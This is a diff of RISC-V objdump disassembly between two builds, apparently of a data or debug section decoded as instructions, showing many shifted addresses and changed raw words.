-     ce2:	0288                	addi	a0,sp,320
-     ce4:	7e7a                	flw	ft8,188(sp)
+     cbe:	8505                	srai	a0,a0,0x1
+     cc0:	9a02                	jalr	s4
+     cc2:	05000007          	0x5000007
+     cc6:	0286                	slli	t0,t0,0x1
+     cc8:	3b81                	jal	a18 <__stack_size+0x218>
+     cca:	0000                	unimp
+     ccc:	8705                	srai	a4,a4,0x1
+     cce:	1b02                	slli	s6,s6,0x20
+     cd0:	006a                	c.slli	zero,0x1a
+     cd2:	0500                	addi	s0,sp,640
+     cd4:	0288                	addi	a0,sp,320
+     cd6:	7efd                	lui	t4,0xfffff
+     cd8:	0000                	unimp
+     cda:	8905                	andi	a0,a0,1
+     cdc:	bf02                	fsd	ft0,440(sp)
+     cde:	05000083          	lb	ra,80(zero) # 50 <__stack_size-0x7b0>
+     ce2:	028a                	slli	t0,t0,0x2
+     ce4:	4202                	lw	tp,0(sp)
      ce6:	0000                	unimp
-     ce8:	8905                	andi	a0,a0,1
-     cea:	3902                	fld	fs2,32(sp)
-     cec:	05000083          	lb	ra,80(zero) # 50 <__stack_size-0x7b0>
-     cf0:	028a                	slli	t0,t0,0x2
-     cf2:	000040f7          	0x40f7
-     cf6:	8b05                	andi	a4,a4,1
-     cf8:	f302                	fsw	ft0,164(sp)
-     cfa:	0040                	addi	s0,sp,4
+     ce8:	8b05                	andi	a4,a4,1
+     cea:	fe02                	fsw	ft0,60(sp)
+     cec:	0041                	c.nop	16
+     cee:	0500                	addi	s0,sp,640
+     cf0:	028c                	addi	a1,sp,320
+     cf2:	00003b8b          	0x3b8b
+     cf6:	8d05                	sub	a0,a0,s1
+     cf8:	a902                	fsd	ft0,144(sp)
+     cfa:	0001                	nop
      cfc:	0500                	addi	s0,sp,640
-     cfe:	028c                	addi	a1,sp,320
-     d00:	3a75                	jal	6bc <__stack_size-0x144>
+     cfe:	028e                	slli	t0,t0,0x3
+     d00:	2359                	jal	1286 <__stack_size+0xa86>
      d02:	0000                	unimp
-     d04:	8d05                	sub	a0,a0,s1
-     d06:	d402                	sw	zero,40(sp)
-     d08:	0001                	nop
+     d04:	8f05                	sub	a4,a4,s1
+     d06:	9f02                	jalr	t5
+     d08:	0012                	c.slli	zero,0x4
      d0a:	0500                	addi	s0,sp,640
-     d0c:	028e                	slli	t0,t0,0x3
-     d0e:	22a8                	fld	fa0,64(a3)
+     d0c:	0290                	addi	a2,sp,320
+     d0e:	2354                	fld	fa3,128(a4)
      d10:	0000                	unimp
-     d12:	8f05                	sub	a4,a4,s1
-     d14:	2d02                	fld	fs10,0(sp)
-     d16:	05000013          	li	zero,80
-     d1a:	0290                	addi	a2,sp,320
-     d1c:	000022a3          	sw	zero,5(zero) # 5 <__stack_size-0x7fb>
-     d20:	9105                	srli	a0,a0,0x21
-     d22:	6702                	flw	fa4,0(sp)
-     d24:	003a                	c.slli	zero,0xe
-     d26:	0500                	addi	s0,sp,640
-     d28:	0292                	slli	t0,t0,0x4
-     d2a:	47e4                	lw	s1,76(a5)
+     d12:	9105                	srli	a0,a0,0x21
+     d14:	7d02                	flw	fs10,32(sp)
+     d16:	0500003b          	0x500003b
+     d1a:	0292                	slli	t0,t0,0x4
+     d1c:	4901                	li	s2,0
+     d1e:	0000                	unimp
+     d20:	9f06                	add	t5,t5,ra
+     d22:	9302                	jalr	t1
+     d24:	003c                	addi	a5,sp,8
+     d26:	0600                	addi	s0,sp,768
+     d28:	02d4                	addi	a3,sp,324
+     d2a:	738a                	flw	ft7,160(sp)
      d2c:	0000                	unimp
-     d2e:	9f06                	add	t5,t5,ra
-     d30:	8602                	jr	a2
-     d32:	0600003b          	0x600003b
-     d36:	02d4                	addi	a3,sp,324
-     d38:	000072ef          	jal	t0,7d38 <__stack_size+0x7538>
-     d3c:	8606                	mv	a2,ra
-     d3e:	00513803          	0x513803
+     d2e:	8606                	mv	a2,ra
+     d30:	00527a03          	0x527a03
+     d34:	0500                	addi	s0,sp,640
+     d36:	7135038b          	0x7135038b
+     d3a:	0000                	unimp
+     d3c:	9106                	add	sp,sp,ra
+     d3e:	00527303          	0x527303
      d42:	0500                	addi	s0,sp,640
-     d44:	70b4038b          	0x70b4038b
+     d44:	0396                	slli	t2,t2,0x5
+     d46:	527f                	0x527f
      d48:	0000                	unimp
-     d4a:	9106                	add	sp,sp,ra
-     d4c:	00513103          	0x513103
-     d50:	0500                	addi	s0,sp,640
-     d52:	0396                	slli	t2,t2,0x5
-     d54:	513d                	li	sp,-17
-     d56:	0000                	unimp
-     d58:	9b05                	andi	a4,a4,-31
-     d5a:	00995603          	lhu	a2,9(s2)
-     d5e:	0000                	unimp
-     d60:	0004                	0x4
-     d62:	0500                	addi	s0,sp,640
-     d64:	c531                	beqz	a0,db0 <__stack_size+0x5b0>
-     d66:	0061                	c.nop	24
-     d68:	0500                	addi	s0,sp,640
-     d6a:	9f32                	add	t5,t5,a2
-     d6c:	005f 0500 0b33      	0xb330500005f
-     d72:	009d                	addi	ra,ra,7
-     d74:	0500                	addi	s0,sp,640
-     d76:	4336                	lw	t1,76(sp)
-     d78:	004d                	c.nop	19
-     d7a:	0500                	addi	s0,sp,640
-     d7c:	ec39                	bnez	s0,dda <__stack_size+0x5da>
-     d7e:	005e                	c.slli	zero,0x17
-     d80:	0500                	addi	s0,sp,640
-     d82:	0d3a                	slli	s10,s10,0xe
-     d84:	001d                	c.nop	7
-     d86:	0500                	addi	s0,sp,640
-     d88:	9e3c                	0x9e3c
-     d8a:	001e                	c.slli	zero,0x7
-     d8c:	0500                	addi	s0,sp,640
-     d8e:	303d                	jal	5bc <__stack_size-0x244>
-     d90:	0042                	c.slli	zero,0x10
-     d92:	0500                	addi	s0,sp,640
-     d94:	3d3e                	fld	fs10,488(sp)
-     d96:	0084                	addi	s1,sp,64
-     d98:	0500                	addi	s0,sp,640
-     d9a:	0025843f 9c420500 	0x9c4205000025843f
-     da2:	002c                	addi	a1,sp,8
-     da4:	0500                	addi	s0,sp,640
-     da6:	000c1043          	fmadd.s	ft0,fs8,ft0,ft0,rtz
-     daa:	0500                	addi	s0,sp,640
-     dac:	5c44                	lw	s1,60(s0)
-     dae:	05000043          	0x5000043
-     db2:	1d4e                	slli	s10,s10,0x33
-     db4:	005d                	c.nop	23
-     db6:	0500                	addi	s0,sp,640
-     db8:	cf51                	beqz	a4,e54 <__stack_size+0x654>
-     dba:	001d                	c.nop	7
-     dbc:	0500                	addi	s0,sp,640
-     dbe:	2b5e                	fld	fs6,464(sp)
-     dc0:	0086                	slli	ra,ra,0x1
-     dc2:	0500                	addi	s0,sp,640
-     dc4:	cf5f 0053 0500      	0x5000053cf5f
-     dca:	0022496b          	0x22496b
-     dce:	0500                	addi	s0,sp,640
-     dd0:	df6c                	sw	a1,124(a4)
-     dd2:	0098                	addi	a4,sp,64
-     dd4:	0500                	addi	s0,sp,640
-     dd6:	1d70                	addi	a2,sp,700
-     dd8:	05000007          	0x5000007
-     ddc:	7a71                	lui	s4,0xffffc
-     dde:	0024                	addi	s1,sp,8
-     de0:	0500                	addi	s0,sp,640
-     de2:	e472                	fsw	ft8,8(sp)
-     de4:	05000043          	0x5000043
-     de8:	6575                	lui	a0,0x1d
-     dea:	0050                	addi	a2,sp,4
-     dec:	0500                	addi	s0,sp,640
-     dee:	d478                	sw	a4,108(s0)
-     df0:	0004                	0x4
-     df2:	0500                	addi	s0,sp,640
-     df4:	f37f                	0xf37f
-     df6:	004c                	addi	a1,sp,4
+     d4a:	9b05                	andi	a4,a4,-31
+     d4c:	009a0403          	lb	s0,9(s4)
+     d50:	0000                	unimp
+     d52:	0004                	0x4
+     d54:	0500                	addi	s0,sp,640
+     d56:	c231                	beqz	a2,d9a <__stack_size+0x59a>
+     d58:	0062                	c.slli	zero,0x18
+     d5a:	0500                	addi	s0,sp,640
+     d5c:	ab32                	fsd	fa2,400(sp)
+     d5e:	0060                	addi	s0,sp,12
+     d60:	0500                	addi	s0,sp,640
+     d62:	009da233          	slt	tp,s11,s1
+     d66:	0500                	addi	s0,sp,640
+     d68:	4036                	0x4036
+     d6a:	004e                	c.slli	zero,0x13
+     d6c:	0500                	addi	s0,sp,640
+     d6e:	f839                	bnez	s0,cc4 <__stack_size+0x4c4>
+     d70:	005f 0500 3b3a      	0x3b3a0500005f
+     d76:	001c                	0x1c
+     d78:	0500                	addi	s0,sp,640
+     d7a:	d43c                	sw	a5,104(s0)
+     d7c:	001e                	c.slli	zero,0x7
+     d7e:	0500                	addi	s0,sp,640
+     d80:	2f3d                	jal	14be <__stack_size+0xcbe>
+     d82:	05000043          	0x5000043
+     d86:	c33e                	sw	a5,132(sp)
+     d88:	0084                	addi	s1,sp,64
+     d8a:	0500                	addi	s0,sp,640
+     d8c:	00263d3f c2420500 	0xc242050000263d3f
+     d94:	002d                	c.nop	11
+     d96:	0500                	addi	s0,sp,640
+     d98:	000b9843          	fmadd.s	fa6,fs7,ft0,ft0,rtz
+     d9c:	0500                	addi	s0,sp,640
+     d9e:	5b44                	lw	s1,52(a4)
+     da0:	0044                	addi	s1,sp,4
+     da2:	0500                	addi	s0,sp,640
+     da4:	1d4e                	slli	s10,s10,0x33
+     da6:	005e                	c.slli	zero,0x17
+     da8:	0500                	addi	s0,sp,640
+     daa:	f051                	bnez	s0,d2e <__stack_size+0x52e>
+     dac:	001d                	c.nop	7
+     dae:	0500                	addi	s0,sp,640
+     db0:	ce5e                	sw	s7,28(sp)
+     db2:	0086                	slli	ra,ra,0x1
+     db4:	0500                	addi	s0,sp,640
+     db6:	265f 0055 0500      	0x5000055265f
+     dbc:	0022c46b          	0x22c46b
+     dc0:	0500                	addi	s0,sp,640
+     dc2:	826c                	0x826c
+     dc4:	0099                	addi	ra,ra,6
+     dc6:	0500                	addi	s0,sp,640
+     dc8:	dd70                	sw	a2,124(a0)
+     dca:	0006                	c.slli	zero,0x1
+     dcc:	0500                	addi	s0,sp,640
+     dce:	3371                	jal	b5a <__stack_size+0x35a>
+     dd0:	0025                	c.nop	9
+     dd2:	0500                	addi	s0,sp,640
+     dd4:	ec72                	fsw	ft8,24(sp)
+     dd6:	0044                	addi	s1,sp,4
+     dd8:	0500                	addi	s0,sp,640
+     dda:	8d75                	and	a0,a0,a3
+     ddc:	0051                	c.nop	20
+     dde:	0500                	addi	s0,sp,640
+     de0:	5478                	lw	a4,108(s0)
+     de2:	0004                	0x4
+     de4:	0500                	addi	s0,sp,640
+     de6:	067f                	0x67f
+     de8:	004e                	c.slli	zero,0x13
+     dea:	0500                	addi	s0,sp,640
+     dec:	0180                	addi	s0,sp,192
+     dee:	5559                	li	a0,-10
+     df0:	0000                	unimp
+     df2:	8105                	srli	a0,a0,0x1
+     df4:	7501                	lui	a0,0xfffe0
+     df6:	007c                	addi	a5,sp,12
      df8:	0500                	addi	s0,sp,640
-     dfa:	0180                	addi	s0,sp,192
-     dfc:	00005433          	srl	s0,zero,zero
-     e00:	8105                	srli	a0,a0,0x1
-     e02:	0201                	addi	tp,tp,0
-     e04:	007c                	addi	a5,sp,12
+     dfa:	0185                	addi	gp,gp,1
+     dfc:	617c                	flw	fa5,68(a0)
+     dfe:	0000                	unimp
+     e00:	8c05                	sub	s0,s0,s1
+     e02:	5f01                	li	t5,-32
+     e04:	003a                	c.slli	zero,0xe
      e06:	0500                	addi	s0,sp,640
-     e08:	0185                	addi	gp,gp,1
-     e0a:	607f                	0x607f
-     e0c:	0000                	unimp
-     e0e:	8c05                	sub	s0,s0,s1
-     e10:	6c01                	0x6c01
-     e12:	0039                	c.nop	14
+     e08:	0190                	addi	a2,sp,192
+     e0a:	0000374b          	fnmsub.s	fa4,ft0,ft0,ft0,rup
+     e0e:	9105                	srli	a0,a0,0x21
+     e10:	2401                	jal	1010 <__stack_size+0x810>
+     e12:	0031                	c.nop	12
      e14:	0500                	addi	s0,sp,640
-     e16:	0190                	addi	a2,sp,192
-     e18:	367d                	jal	9c6 <__stack_size+0x1c6>
-     e1a:	0000                	unimp
-     e1c:	9105                	srli	a0,a0,0x21
-     e1e:	3001                	jal	61e <__stack_size-0x1e2>
-     e20:	0030                	addi	a2,sp,8
-     e22:	0500                	addi	s0,sp,640
-     e24:	0194                	addi	a3,sp,192
-     e26:	37e0                	fld	fs0,232(a5)
+     e16:	0194                	addi	a3,sp,192
+     e18:	000038c3          	fmadd.s	fa7,ft0,ft0,ft0,rup
+     e1c:	9705                	srai	a4,a4,0x21
+     e1e:	1a01                	addi	s4,s4,-32
+     e20:	0500002b          	0x500002b
+     e24:	0198                	addi	a4,sp,192
+     e26:	1a58                	addi	a4,sp,308
      e28:	0000                	unimp
-     e2a:	9705                	srai	a4,a4,0x21
-     e2c:	4f01                	li	t5,0
-     e2e:	002a                	c.slli	zero,0xa
+     e2a:	9905                	andi	a0,a0,-31
+     e2c:	7d01                	lui	s10,0xfffe0
+     e2e:	0082                	c.slli64	ra
      e30:	0500                	addi	s0,sp,640
-     e32:	0198                	addi	a4,sp,192
-     e34:	1b22                	slli	s6,s6,0x28
+     e32:	83d9019b          	0x83d9019b
      e36:	0000                	unimp
-     e38:	9905                	andi	a0,a0,-31
-     e3a:	fa01                	bnez	a2,d4a <__stack_size+0x54a>
-     e3c:	0081                	addi	ra,ra,0
+     e38:	9c05                	0x9c05
+     e3a:	8f01                	sub	a4,a4,s0
+     e3c:	0090                	addi	a2,sp,64
      e3e:	0500                	addi	s0,sp,640
-     e40:	8353019b          	0x8353019b
+     e40:	019e                	slli	gp,gp,0x7
+     e42:	5d99                	li	s11,-26
      e44:	0000                	unimp
-     e46:	9c05                	0x9c05
-     e48:	c601                	beqz	a2,e50 <__stack_size+0x650>
-     e4a:	0500001b          	0x500001b
-     e4e:	019e                	slli	gp,gp,0x7
-     e50:	5c99                	li	s9,-26
+     e46:	a005                	j	e66 <__stack_size+0x666>
+     e48:	5a01                	li	s4,-32
+     e4a:	008e                	slli	ra,ra,0x3
+     e4c:	0500                	addi	s0,sp,640
+     e4e:	01b1                	addi	gp,gp,12
+     e50:	087f                	0x87f
      e52:	0000                	unimp
-     e54:	a005                	j	e74 <__stack_size+0x674>
-     e56:	d301                	beqz	a4,d56 <__stack_size+0x556>
-     e58:	0000                	unimp
+     e54:	b205                	j	774 <__stack_size-0x8c>
+     e56:	4901                	li	s2,0
+     e58:	006a                	c.slli	zero,0x1a
      e5a:	0500                	addi	s0,sp,640
-     e5c:	01b1                	addi	gp,gp,12
-     e5e:	08ca                	slli	a7,a7,0x12
+     e5c:	956b01b3          	0x956b01b3
      e60:	0000                	unimp
-     e62:	b205                	j	782 <__stack_size-0x7e>
-     e64:	ac01                	j	1074 <__stack_size+0x874>
-     e66:	0069                	c.nop	26
-     e68:	0500                	addi	s0,sp,640
-     e6a:	94bc01b3          	0x94bc01b3
+     e62:	b405                	j	882 <__stack_size+0x82>
+     e64:	ab01                	j	1374 <__stack_size+0xb74>
+     e66:	0500009b          	0x500009b
+     e6a:	01b5                	addi	gp,gp,13
+     e6c:	76f0                	flw	fa2,108(a3)
      e6e:	0000                	unimp
-     e70:	b405                	j	890 <__stack_size+0x90>
-     e72:	2e01                	jal	1182 <__stack_size+0x982>
-     e74:	0500009b          	0x500009b
-     e78:	01b5                	addi	gp,gp,13
-     e7a:	00007643          	fmadd.s	fa2,ft0,ft0,ft0
-     e7e:	b705                	j	d9e <__stack_size+0x59e>
-     e80:	f401                	bnez	s0,d88 <__stack_size+0x588>
-     e82:	0006                	c.slli	zero,0x1
+     e70:	b705                	j	d90 <__stack_size+0x590>
+     e72:	8201                	c.srli64	a2
+     e74:	0098                	addi	a4,sp,64
+     e76:	0500                	addi	s0,sp,640
+     e78:	01b8                	addi	a4,sp,200
+     e7a:	7cde                	flw	fs9,244(sp)
+     e7c:	0000                	unimp
+     e7e:	b905                	j	aae <__stack_size+0x2ae>
+     e80:	2901                	jal	1290 <__stack_size+0xa90>
+     e82:	00a0                	addi	s0,sp,72
      e84:	0500                	addi	s0,sp,640
-     e86:	01b8                	addi	a4,sp,200
-     e88:	00007c6b          	0x7c6b
-     e8c:	b905                	j	abc <__stack_size+0x2bc>
-     e8e:	f101                	bnez	a0,d8e <__stack_size+0x58e>
-     e90:	009f 0500 01e6      	0x1e60500009f
-     e96:	255c                	fld	fa5,136(a0)
-     e98:	0000                	unimp
-     e9a:	f305                	bnez	a4,dba <__stack_size+0x5ba>
-     e9c:	ed01                	bnez	a0,eb4 <__stack_size+0x6b4>
-     e9e:	05000013          	li	zero,80
-     ea2:	01f4                	addi	a3,sp,204
-     ea4:	72cc                	flw	fa1,36(a3)
-     ea6:	0000                	unimp
-     ea8:	f505                	bnez	a0,dd0 <__stack_size+0x5d0>
-     eaa:	5b01                	li	s6,-32
-     eac:	0088                	addi	a0,sp,64
-     eae:	0500                	addi	s0,sp,640
-     eb0:	01f6                	slli	gp,gp,0x1d
-     eb2:	10dc                	addi	a5,sp,100
+     e86:	01e6                	slli	gp,gp,0x19
+     e88:	2615                	jal	11ac <__stack_size+0x9ac>
+     e8a:	0000                	unimp
+     e8c:	f305                	bnez	a4,dac <__stack_size+0x5ac>
+     e8e:	4001                	c.li	zero,0
+     e90:	05000013          	li	zero,80
+     e94:	01f4                	addi	a3,sp,204
+     e96:	00007367          	0x7367
+     e9a:	f505                	bnez	a0,dc2 <__stack_size+0x5c2>
+     e9c:	fe01                	bnez	a2,db4 <__stack_size+0x5b4>
+     e9e:	0088                	addi	a0,sp,64
+     ea0:	0500                	addi	s0,sp,640
+     ea2:	01f6                	slli	gp,gp,0x1d
+     ea4:	0000923f 4301f705 	0x4301f7050000923f
+     eac:	05000053          	0x5000053
+     eb0:	01f8                	addi	a4,sp,204
+     eb2:	0a92                	slli	s5,s5,0x4
      eb4:	0000                	unimp
-     eb6:	f705                	bnez	a4,dde <__stack_size+0x5de>
-     eb8:	2101                	jal	12b8 <__stack_size+0xab8>
-     eba:	0052                	c.slli	zero,0x14
+     eb6:	f905                	bnez	a0,de6 <__stack_size+0x5e6>
+     eb8:	1e01                	addi	t3,t3,-32
+     eba:	0044                	addi	s1,sp,4
      ebc:	0500                	addi	s0,sp,640
-     ebe:	01f8                	addi	a4,sp,204
-     ec0:	0b0a                	slli	s6,s6,0x2
+     ebe:	01fc                	addi	a5,sp,204
+     ec0:	4914                	lw	a3,16(a0)
      ec2:	0000                	unimp
-     ec4:	f905                	bnez	a0,df4 <__stack_size+0x5f4>
-     ec6:	1f01                	addi	t5,t5,-32
-     ec8:	05000043          	0x5000043
-     ecc:	01fc                	addi	a5,sp,204
-     ece:	000047f7          	0x47f7
-     ed2:	fd05                	bnez	a0,e0a <__stack_size+0x60a>
-     ed4:	4001                	c.li	zero,0
-     ed6:	05000027          	0x5000027
-     eda:	7e450283          	lb	t0,2020(a0) # 1d7e4 <__stack_size+0x1cfe4>
+     ec4:	fd05                	bnez	a0,dfc <__stack_size+0x5fc>
+     ec6:	0401                	addi	s0,s0,0
+     ec8:	0028                	addi	a0,sp,8
+     eca:	0500                	addi	s0,sp,640
+     ecc:	7ec80283          	lb	t0,2028(a6)
+     ed0:	0000                	unimp
+     ed2:	dc05                	beqz	s0,e0a <__stack_size+0x60a>
+     ed4:	aa02                	fsd	ft0,272(sp)
+     ed6:	0072                	c.slli	zero,0x1c
+     ed8:	0500                	addi	s0,sp,640
+     eda:	02ee                	slli	t0,t0,0x1b
+     edc:	5441                	li	s0,-16
      ede:	0000                	unimp
-     ee0:	dc05                	beqz	s0,e18 <__stack_size+0x618>
-     ee2:	2902                	fld	fs2,0(sp)
-     ee4:	0072                	c.slli	zero,0x1c
+     ee0:	f405                	bnez	s0,e08 <__stack_size+0x608>
+     ee2:	b302                	fsd	ft0,416(sp)
+     ee4:	0006                	c.slli	zero,0x1
      ee6:	0500                	addi	s0,sp,640
-     ee8:	02ee                	slli	t0,t0,0x1b
-     eea:	52ea                	lw	t0,184(sp)
+     ee8:	02f5                	addi	t0,t0,29
+     eea:	66a4                	flw	fs1,72(a3)
      eec:	0000                	unimp
-     eee:	f405                	bnez	s0,e16 <__stack_size+0x616>
-     ef0:	7702                	flw	fa4,32(sp)
-     ef2:	0090                	addi	a2,sp,64
-     ef4:	0500                	addi	s0,sp,640
-     ef6:	02f5                	addi	t0,t0,29
-     ef8:	661d                	lui	a2,0x7
+     eee:	fc05                	bnez	s0,e26 <__stack_size+0x626>
+     ef0:	8702                	jr	a4
+     ef2:	05000027          	0x5000027
+     ef6:	0382                	c.slli64	t2
+     ef8:	42e0                	lw	s0,68(a3)
      efa:	0000                	unimp
-     efc:	fc05                	bnez	s0,e34 <__stack_size+0x634>
-     efe:	c302                	sw	zero,132(sp)
-     f00:	0026                	c.slli	zero,0x9
+     efc:	8805                	andi	s0,s0,1
+     efe:	005a7803          	0x5a7803
      f02:	0500                	addi	s0,sp,640
-     f04:	0382                	c.slli64	t2
-     f06:	41e1                	li	gp,24
+     f04:	0389                	addi	t2,t2,2
+     f06:	7e6a                	flw	ft8,184(sp)
      f08:	0000                	unimp
-     f0a:	8805                	andi	s0,s0,1
-     f0c:	009d1403          	lh	s0,9(s10) # 1009 <__stack_size+0x809>
+     f0a:	9005                	srli	s0,s0,0x21
+     f0c:	000df803          	0xdf803
      f10:	0500                	addi	s0,sp,640
-     f12:	0389                	addi	t2,t2,2
-     f14:	00007de7          	0x7de7
-     f18:	9005                	srli	s0,s0,0x21
-     f1a:	000e3e03          	0xe3e03
+     f12:	0391                	addi	t2,t2,4
+     f14:	690a                	flw	fs2,128(sp)
+     f16:	0000                	unimp
+     f18:	9805                	andi	s0,s0,-31
+     f1a:	0046b203          	0x46b203
      f1e:	0500                	addi	s0,sp,640
-     f20:	0391                	addi	t2,t2,4
-     f22:	684d                	lui	a6,0x13
+     f20:	039e                	slli	t2,t2,0x7
+     f22:	9b68                	0x9b68
      f24:	0000                	unimp
-     f26:	9805                	andi	s0,s0,-31
-     f28:	0045a503          	lw	a0,4(a1)
+     f26:	b205                	j	846 <__stack_size+0x46>
+     f28:	007dc703          	lbu	a4,7(s11) # 12007 <__stack_size+0x11807>
      f2c:	0500                	addi	s0,sp,640
-     f2e:	039e                	slli	t2,t2,0x7
-     f30:	00009aeb          	0x9aeb
-     f34:	b205                	j	854 <__stack_size+0x54>
-     f36:	007d4403          	lbu	s0,7(s10)
+     f2e:	0a3d03d3          	fsub.d	ft7,fs10,ft3,rne
+     f32:	0000                	unimp
+     f34:	d405                	beqz	s0,e5c <__stack_size+0x65c>
+     f36:	00572a03          	lw	s4,5(a4) # fffe0005 <_heap_end+0x7ffd1805>
      f3a:	0500                	addi	s0,sp,640
-     f3c:	0aa703d3          	fsub.d	ft7,fa4,fa0,rne
+     f3c:	28d403db          	0x28d403db
      f40:	0000                	unimp
-     f42:	d405                	beqz	s0,e6a <__stack_size+0x66a>
-     f44:	0055fc03          	0x55fc03
+     f42:	dc05                	beqz	s0,e7a <__stack_size+0x67a>
+     f44:	00170203          	lb	tp,1(a4)
      f48:	0500                	addi	s0,sp,640
-     f4a:	281003db          	0x281003db
-     f4e:	0000                	unimp
-     f50:	dc05                	beqz	s0,e88 <__stack_size+0x688>
-     f52:	0017b303          	0x17b303
+     f4a:	03df 7fc3 0000      	0x7fc303df
+     f50:	e905                	bnez	a0,f80 <__stack_size+0x780>
+     f52:	009ace03          	lbu	t3,9(s5)
      f56:	0500                	addi	s0,sp,640
-     f58:	03df 7f40 0000      	0x7f4003df
-     f5e:	e905                	bnez	a0,f8e <__stack_size+0x78e>
-     f60:	009a2003          	lw	zero,9(s4) # ffffc009 <_heap_end+0x7ffed809>
+     f58:	03ea                	slli	t2,t2,0x1a
+     f5a:	90e2                	add	ra,ra,s8
+     f5c:	0000                	unimp
+     f5e:	f405                	bnez	s0,e86 <__stack_size+0x686>
+     f60:	003d9a03          	lh	s4,3(s11)
      f64:	0500                	addi	s0,sp,640
-     f66:	03ea                	slli	t2,t2,0x1a
-     f68:	9015                	srli	s0,s0,0x25
-     f6a:	0000                	unimp
-     f6c:	f405                	bnez	s0,e94 <__stack_size+0x694>
-     f6e:	003c8f03          	lb	t5,3(s9) # fffe4003 <_heap_end+0x7ffd5803>
-     f72:	0500                	addi	s0,sp,640
-     f74:	048a                	slli	s1,s1,0x2
-     f76:	054d                	addi	a0,a0,19
+     f66:	048a                	slli	s1,s1,0x2
+     f68:	000004c3          	fmadd.s	fs1,ft0,ft0,ft0,rne
+     f6c:	8c05                	sub	s0,s0,s1
+     f6e:	e204                	fsw	fs1,0(a2)
+     f70:	0500002b          	0x500002b
+     f74:	048e                	slli	s1,s1,0x3
+     f76:	2a64                	fld	fs1,208(a2)
      f78:	0000                	unimp
-     f7a:	8c05                	sub	s0,s0,s1
-     f7c:	1704                	addi	s1,sp,928
-     f7e:	0500002b          	0x500002b
-     f82:	048e                	slli	s1,s1,0x3
-     f84:	2998                	fld	fa4,16(a1)
+     f7a:	8f05                	sub	a4,a4,s1
+     f7c:	a604                	fsd	fs1,8(a2)
+     f7e:	0064                	addi	s1,sp,12
+     f80:	0500                	addi	s0,sp,640
+     f82:	0491                	addi	s1,s1,4
+     f84:	637e                	flw	ft6,220(sp)
      f86:	0000                	unimp
-     f88:	8f05                	sub	a4,a4,s1
-     f8a:	e504                	fsw	fs1,8(a0)
-     f8c:	05000063          	beq	zero,a6,fcc <__stack_size+0x7cc>
-     f90:	0491                	addi	s1,s1,4
-     f92:	000062b3          	or	t0,zero,zero
-     f96:	9b05                	andi	a4,a4,-31
-     f98:	1d04                	addi	s1,sp,688
-     f9a:	001a                	c.slli	zero,0x6
+     f88:	9b05                	andi	a4,a4,-31
+     f8a:	6c04                	flw	fs1,24(s0)
+     f8c:	0019                	c.nop	6
+     f8e:	0500                	addi	s0,sp,640
+     f90:	04a0                	addi	s0,sp,584
+     f92:	00004d2b          	0x4d2b
+     f96:	a505                	j	15b6 <__stack_size+0xdb6>
+     f98:	a704                	fsd	fs1,8(a4)
+     f9a:	0036                	c.slli	zero,0xd
      f9c:	0500                	addi	s0,sp,640
-     f9e:	04a0                	addi	s0,sp,584
-     fa0:	4bec                	lw	a1,84(a5)
+     f9e:	04a8                	addi	a0,sp,584
+     fa0:	5ef0                	lw	a2,124(a3)
      fa2:	0000                	unimp
-     fa4:	a505                	j	15c4 <__stack_size+0xdc4>
-     fa6:	db04                	sw	s1,48(a4)
-     fa8:	0035                	c.nop	13
+     fa4:	ac05                	j	11d4 <__stack_size+0x9d4>
+     fa6:	7804                	flw	fs1,48(s0)
+     fa8:	0049                	c.nop	18
      faa:	0500                	addi	s0,sp,640
-     fac:	04a8                	addi	a0,sp,584
-     fae:	5de4                	lw	s1,124(a1)
+     fac:	04ae                	slli	s1,s1,0xb
+     fae:	38f0                	fld	fa2,240(s1)
      fb0:	0000                	unimp
-     fb2:	ac05                	j	11e2 <__stack_size+0x9e2>
-     fb4:	5b04                	lw	s1,48(a4)
-     fb6:	0048                	addi	a0,sp,4
-     fb8:	0500                	addi	s0,sp,640
-     fba:	04ae                	slli	s1,s1,0xb
-     fbc:	380d                	jal	7ee <__stack_size-0x12>
+     fb2:	d105                	beqz	a0,ed2 <__stack_size+0x6d2>
+     fb4:	2704                	fld	fs1,8(a4)
+     fb6:	05000023          	sb	a6,64(zero) # 40 <__stack_size-0x7c0>
+     fba:	04d5                	addi	s1,s1,21
+     fbc:	54b0                	lw	a2,104(s1)
      fbe:	0000                	unimp
-     fc0:	d105                	beqz	a0,ee0 <__stack_size+0x6e0>
-     fc2:	6304                	flw	fs1,0(a4)
-     fc4:	009a                	slli	ra,ra,0x6
+     fc0:	d905                	beqz	a0,ef0 <__stack_size+0x6f0>
+     fc2:	8c04                	0x8c04
+     fc4:	006a                	c.slli	zero,0x1a
      fc6:	0500                	addi	s0,sp,640
-     fc8:	04d5                	addi	s1,s1,21
-     fca:	5359                	li	t1,-10
+     fc8:	04dd                	addi	s1,s1,23
+     fca:	7709                	lui	a4,0xfffe2
      fcc:	0000                	unimp
-     fce:	d905                	beqz	a0,efe <__stack_size+0x6fe>
-     fd0:	ef04                	fsw	fs1,24(a4)
-     fd2:	0069                	c.nop	26
-     fd4:	0500                	addi	s0,sp,640
-     fd6:	04dd                	addi	s1,s1,23
-     fd8:	765c                	flw	fa5,44(a2)
+     fce:	e105                	bnez	a0,fee <__stack_size+0x7ee>
+     fd0:	5604                	lw	s1,40(a2)
+     fd2:	05000093          	li	ra,80
+     fd6:	04e5                	addi	s1,s1,25
+     fd8:	1fb5                	addi	t6,t6,-19
      fda:	0000                	unimp
-     fdc:	e105                	bnez	a0,ffc <__stack_size+0x7fc>
-     fde:	ba04                	fsd	fs1,48(a2)
-     fe0:	0092                	slli	ra,ra,0x4
-     fe2:	0500                	addi	s0,sp,640
-     fe4:	04e5                	addi	s1,s1,25
-     fe6:	1f7f                	0x1f7f
+     fdc:	e905                	bnez	a0,100c <__stack_size+0x80c>
+     fde:	6804                	flw	fs1,16(s0)
+     fe0:	05000053          	0x5000053
+     fe4:	04ed                	addi	s1,s1,27
+     fe6:	1da8                	addi	a0,sp,760
      fe8:	0000                	unimp
-     fea:	e905                	bnez	a0,101a <__stack_size+0x81a>
-     fec:	4604                	lw	s1,8(a2)
-     fee:	0052                	c.slli	zero,0x14
-     ff0:	0500                	addi	s0,sp,640
-     ff2:	04ed                	addi	s1,s1,27
-     ff4:	00001d87          	0x1d87
-     ff8:	f405                	bnez	s0,f20 <__stack_size+0x720>
-     ffa:	2304                	fld	fs1,0(a4)
-     ffc:	005a                	c.slli	zero,0x16
+     fea:	f405                	bnez	s0,f12 <__stack_size+0x712>
+     fec:	3f04                	fld	fs1,56(a4)
+     fee:	0500005b          	0x500005b
+     ff2:	04f5                	addi	s1,s1,29
+     ff4:	000081cf          	fnmadd.s	ft3,ft1,ft0,ft0,rne
